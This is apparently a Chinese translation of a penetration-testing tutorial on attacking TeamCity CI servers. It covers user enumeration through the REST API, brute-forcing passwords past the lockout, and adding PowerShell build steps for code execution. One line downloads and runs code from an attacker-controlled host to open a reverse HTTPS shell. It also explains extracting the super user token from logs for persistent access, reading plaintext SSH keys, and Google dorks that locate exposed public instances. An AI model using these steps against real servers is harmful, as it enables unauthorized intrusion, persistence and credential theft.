欢迎来到CI工具一周教程的第二天。我计划做一个关于CI工具攻击的系列教程。
今天是第二天的课程,其他课程如下所示:
第一天 - Jenkins(和Hudson) [http://www.freebuf.com/tools/88143.html] 第二天 - TeamCity 第三天 - Go和CruiseControl 第四天 - 通用攻击工具集和工具集的使用 第五天 - 防御措施和讨论其他一些事
第二天我们主要来讲TeamCity,你可以从这里下载到。TeamCity主要存在如下问题:
1. 默认允许新用户注册,而且新注册的用户直接就拥有项目开发的权限。 2. 对用户密码没有复杂度要求 3. 在Windows上以系统或更高的权限运行(大部分的配置需要有管理员权限) 4. 允许访客登录。事实上,相当一部分的公共实例都开启了运行访客登录。
同样的TeamCity安全配置文档请参见这里
从一些TeamCity公共实例中能获取到的信息令人难以执行。我见过portal凭证、数据库凭证、隐藏服务、代码仓库和其他一些信息。我们可能不需要太多的技巧就能从TeamCity实例中获取很多的信息。
但是如果我们想进入操作系统或者做其他更多有趣的事,那么我们就需要获取项目管理员(不是系统管理员)权限了,项目管理员拥有增加或编辑构建步骤的权限。
幸运的是,TeamCity拥有抵御暴力破解攻击的相关机制。当一个用户在一分钟内连续5次密码错误,则系统会锁定该用户一分钟时间。同样的,在传输过程中所有的密码都是经过加密的。不过,由于TeamCity没有对用户密码复杂度进行强制要求,所以还是可能暴力破解成功的。
想要枚举用户,既可以通过访问[TeamCityUrl]/viewLog.html?buildId=1
反复查看一个用户是否能触发构建或者更好的方式是使用提供的API,反复遍历[TeamCityUrl]/app/rest/builds/id:1
,并查看"user"标签。一般来说手工测试就足以枚举出大量的用户。
在构建完一个待攻击用户列表后,我们就可以利用API进行暴力破解攻击了。TeamCity的API允许使用基本认证方式进行认证,这样我们就可以使用Burp的Intruder模块进行暴力破解(或者使用其他工具)。破解成功会像这样:
记住,TeamCity一分钟内连续出现5次密码错误会锁定用户,所以一定要使用延时。这里我们必须一直尝试,直到破解出一个项目管理员的账户为止。
在拥有配置构建的权限后,我们就可以做一些有趣的事了。
命令执行
作为一个项目管理员我们可以增加构建步骤。在Windows上使用PowerShell来配置构建步骤是一个不错的选择(在*nix上Shell命令和脚本也都很不错)。
当项目正在运行中:
现在,让我们使用一些PowerShell来提升结果。在受限的环境下,我们想弹回一个连接只有很少的选项。下面让我们来使用Nishang的Invoke-PoshRatHttps.ps1。感谢Casey,这段Shell为我们弹回了一个HTTPS连接。同时,其客户端部分非常小巧,我们仅需要在目标上执行一行PowerShell代码即可。
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex (New-Object Net.WebClient).DownloadString("https://IPAddress:Port/connect")
在攻击者的机器上,只需要开启Invoke-PoshRatHttps监听即可。一旦连接被建立:
很酷!在目标和攻击者之间建立了一条加密信道。使用PowerShell我可以很轻松的完成任何事:)
现在,如果我们有在主节点上配置构建的权限,那么一些可以进行一个更有趣的事情。
超级用户
TeamCity拥有一个名为超级用户(Super User)的特殊用户,这个用户可以在忘记用户凭证或者需要修复认证相关设置时直接以系统管理员的权限登录到服务器上的用户管理界面。相关文档请查阅这里。想要以超级用户身份登录必须要有超级用户的认证token,而这个token可以在teamcity-server.log文件中找到。在Windows上这个文件默认会安装在C:\TeamCity\logs\ directory
目录下。下面这段PowerShell命令可以读取出token:
Select-String "Super User Authentication Token" C:\Teamcity\logs\teamcity-server.log
拿到token后,既可以在TeamCity登录界面以空用户名登录也可以从[TeamCityUrl]/login.html?super=1
登录。下面登录成功后的样子:
超级用户的token只有在TeamCity服务重启后才会变更。另外在同一时刻内TeamCity允许多个超级用户同时登录。这意味着一旦我们获取到了一个超级用户的token,我们可以保持对一个TeamCity实例的长期访问权限。
有趣的现象:我们可以通过试图使用空白用户名密码进行登录来使系统锁定超级用户一分钟时间。虽然我没有试过,但是我们也许可以通过使用脚本来让超级用户长时间被系统锁定。
明文存储的SSH密钥
TeamCity允许用户上传SSH密钥到项目中。而这些SSH密钥全部在主节点上面以明文形式存储在。相关参考文档请查阅这里。更糟糕的还是,如果我们拥有在主节点上配置构建的权限,那么就可以读取到这些一明文形式存储的SSH密钥。这些SSH密钥存储在[TeamCity Data Directory]\config\projects\[project]\pluginData\ssh_keys
目录下。这里的TeamCity Data Directory
我们可以在teamcity-server.log文件中找到。
Google Dorks
使用以下Google Dorks来发现TeamCity的公共实例:
Instances with Guest login enabled: intitle:"Projects - TeamCity" Instances which allow Registration of new account: "intitle:Register a new account – TeamCity"
TeamCity实例上拥有很多的敏感信息,下面的截图只是一个例子,里面还有很多金矿等着我们去挖掘。
在下面的截图里,包含产品url的构建日志中存在用户名密码可以使我们以管理员权限登录。
下图则是包含数据库管理员的账户密码,数据库的公网IP可以在另一个构建日志中查询到。
反序列化漏洞
据我所知,TeamCity没有使用受影响的Java库。
视频演示
*原文:labofapenetrationtester, xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)